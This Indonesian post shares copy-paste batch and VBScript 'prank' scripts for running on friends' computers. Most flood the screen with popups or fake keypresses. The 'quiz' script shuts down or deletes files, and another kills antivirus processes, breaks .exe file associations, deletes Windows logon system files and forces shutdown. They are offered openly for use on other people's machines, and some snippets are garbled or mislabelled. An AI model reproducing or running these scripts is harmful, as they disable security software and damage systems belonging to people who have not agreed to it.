Menjahili Komputer Teman

nih saya mw sharing cara jahil untuk temen2 agan dmanapun agan berada
caranya simple n mudah di ikutin koq
smuanya berbentuk script yang hanya di copas aja
script ini bisa kita pakai, untuk menjahili komputer seseorang…!

copasin scriptnya di notepad jgn lupa
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MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS:

Code: @ECHO off :Begin msg * muka lo jelek msg * ngaca dulu gih msg * hayo lo,cpu lu gw acak2 msg * ud install ulang aja msg * biar masalah nya kelar GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat

BIKIN SHUTDOWN + MESSAGES:

Code: @echo off msg * apaan sih lo shutdown -s -c "Error! muka mu standar abis" ==> save nama script diatas dg ekstensi *.bat

MAININ CAPS LOCK BUTTON:

Code: Set wshShell =wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop

==> save nama script diatas dg ekstensi *.vbs

BUKA TUTUP CD/DVD SECARA OTOMATIS:

Code: Set oWMP = CreateObject ("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

==> save nama script diatas dg ekstensi *.vbs

BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS:

Code: Set wshShell = wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

==> save nama script diatas dg ekstensi *.vbs

MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS:

Code: MsgBox "kembali ke menu sebelumnya" Set wshShell =wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD:

Code: Set wshShell = wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "lu jelek banget sih!!!" loop

==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NOTEPAD TERUS MENERUS:

Code: @ECHO off

==> save nama script diatas dg ekstensi *.BAT

OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU":

Code: WScript.Sleep 1800 WScript.Sleep 100 Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 10 WshShell.AppActivate "Notepad" WScript.Sleep 50 WshShell.SendKeys "ka" WScript.Sleep 50 WshShell.SendKeys "mu " WScript.Sleep 50 WshShell.SendKeys "je" WScript.Sleep 50 WshShell.SendKeys "le" WScript.Sleep 50 WshShell.SendKeys "k " WScript.Sleep 50 WshShell.SendKeys " se" WScript.Sleep 50 WshShell.SendKeys "ka" WScript.Sleep 50 WshShell.SendKeys "li" WScript.Sleep 50 WshShell.SendKeys " y" WScript.Sleep 50 WshShell.SendKeys "a" WScript.Sleep 50 WshShell.SendKeys " h" WScript.Sleep 50 WshShell.SendKeys "!" WScript.Sleep 50 WshShell.SendKeys "!! "

==> save nama script diatas dg ekstensi *.vbs

BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2:

Code: @echo off title quiz hari ini :menu cls echo jika kamu kena virus apa yang kamu lakukan pause echo pilih yang mana: echo 1. matiin computer echo 2. format aja echo 3. bingung ahh set input=nothing set /p input=Choice: if %input%==1 shutdown -s -t 30 if %input%==2 del c:\xxx if %input%==3 @ECHO off msg * muka lo rusak msg * ngaca dulu gih msg * hayo lo,cpu lu gw acak2 msg * ud install ulang aja msg * biar masalah nya kelar @ECHO off :top START %SystemRoot% \system32\notepad.exe GOTO top

==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...

POKOKNYA KALO YG INI DICOBA DULU DEH !!:

Code: @echo off set end=md “Hack installing” set fin=copy “Hack log.txt” “Installing” %end% %fin% net send * Hack is installing, press OK to begin set up. kill NAVAPSVC.exe /F /Q kill zonelabs.exe /F /Q kill explorer.exe /F /Q cls assoc .exe=txtfile assoc .txt=mp3file cls msg * It is you who is hacked …. msg * I warned you, and you kept going. Challenge me and this is what happens. DEL C:\WINDOWS \system32\logoff.exe / F /Q DEL C:\WINDOWS \system32\logon.exe / F /Q DEL C:\WINDOWS \system32\logon.scr / F /Q cls shutdown -s -t 5 -c “ thank you for waiting”

==> save script diatas dg ekstensi *.bat

KEYBOARD PROBLEM:

Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "sabotase keyboard, etc" loop

==> save nama script diatas dg ekstensi *.bat

BACKSPACE PROBLEM:

Code: MsgBox "empatujuhcode bilang : anda harus mengulang kembali" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

==> save nama script diatas dg ekstensi *.bat

ENTER AGAIN:

Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

==> save nama script diatas dg ekstensi *.bat

MAININ CAPSLOCK BUTTON:

Code: Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop

==> save nama script diatas dg ekstensi *.bat

VBS SCRIPT NONGOL TERUS:

Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

==> save nama script diatas dg ekstensi *.bat

KUIS MEMBAWA PETAKA:

Code: @echo off title quiz hari ini :menu cls echo jika kamu kena virus apa yang kamu lakukan pause echo pilih yang mana: echo 1. matiin computer echo 2. format aja echo 3. bingung ahh set input=nothing set /p input=Choice: if %input%==1 shutdown -s -t 30 if %input%==2 del c:\xxx if %input%==3 @ECHO off msg * muka lo jelek msg * ngaca dulu gih msg * hayo lo,cpu lu gw acak2 msg * ud install ulang aja msg * biar masalah nya kelar @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

==> save nama script diatas dg ekstensi *.bat

MESSAGE ALERT:

Code: @ECHO off :Begin msg * Kenna Deh msg * Huahahaha msg * Install Ulang Aja msg * Gak Mau Ya ? msg * Terserah msg * Mari Kita Bermain msg * Nikmatilah hidup ini msg * Jangan MENYERAH msg * Jangan PANIK msg * Jangan PUTUS ASA msg * Jangan GROGI msg * Huahahaha msg * Saya tidak bermaksud JAHAT msg * Hanya ISENG msg * OKE lah Kalau begitu msg * Perkenalkan SAYA msg * EMPATUJUH CODE msg * Kenal SAYA ? msg * Gak kenal kan ? msg * Makanya Rasakan ini msg * Lain Kali Jangan KLIK SEMBARANG msg * Gini aja msg * Telepon Teman Kamu yg PINTAR msg * Beresin Masalah ini msg * Sebelum Terlambat msg * OK msg * Bye msg * Love you Full msg * aku gila msg * Babi msg * upss KECEPLOSAN msg * huahahaha GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat